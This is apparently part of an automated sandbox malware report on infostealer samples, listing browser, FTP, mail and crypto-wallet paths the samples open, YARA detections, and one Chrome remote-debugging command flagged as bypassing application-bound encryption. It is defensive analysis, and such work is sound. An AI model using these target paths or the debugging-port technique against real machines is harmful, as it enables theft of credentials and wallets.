Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\Default\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\Default\Documents
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Directory queried: C:\Users\jones\Documents
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH

Source: Yara match	File source: 00000032.00000003.2905287999.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3006606623.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2875598408.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2915660072.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.2973573438.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2843235733.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2850540663.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2844588125.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2874047471.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3014238914.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.2983109130.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2905473008.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.2984067245.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3083556418.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3079943383.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3097259649.00000000011F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3097316159.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.2981871461.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3046554146.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2813617447.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5188, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Cerbfyne Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 26.0.filer.exe.7ff7c9b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.filer.exe.7ff7c9b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2454696595.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: filer.exe PID: 6368, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe, type: DROPPED

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1623118d84.exe PID: 7448, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4edf09f764.exe PID: 5188, type: MEMORYSTR

Yara detected Poverty Stealer

Source: Yara match	File source: 49.2.Tq4a1Bz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.Tq4a1Bz.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.Tq4a1Bz.exe.6a9fe8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.Tq4a1Bz.exe.6a9fe8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2691407230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tq4a1Bz.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tq4a1Bz.exe PID: 6488, type: MEMORYSTR

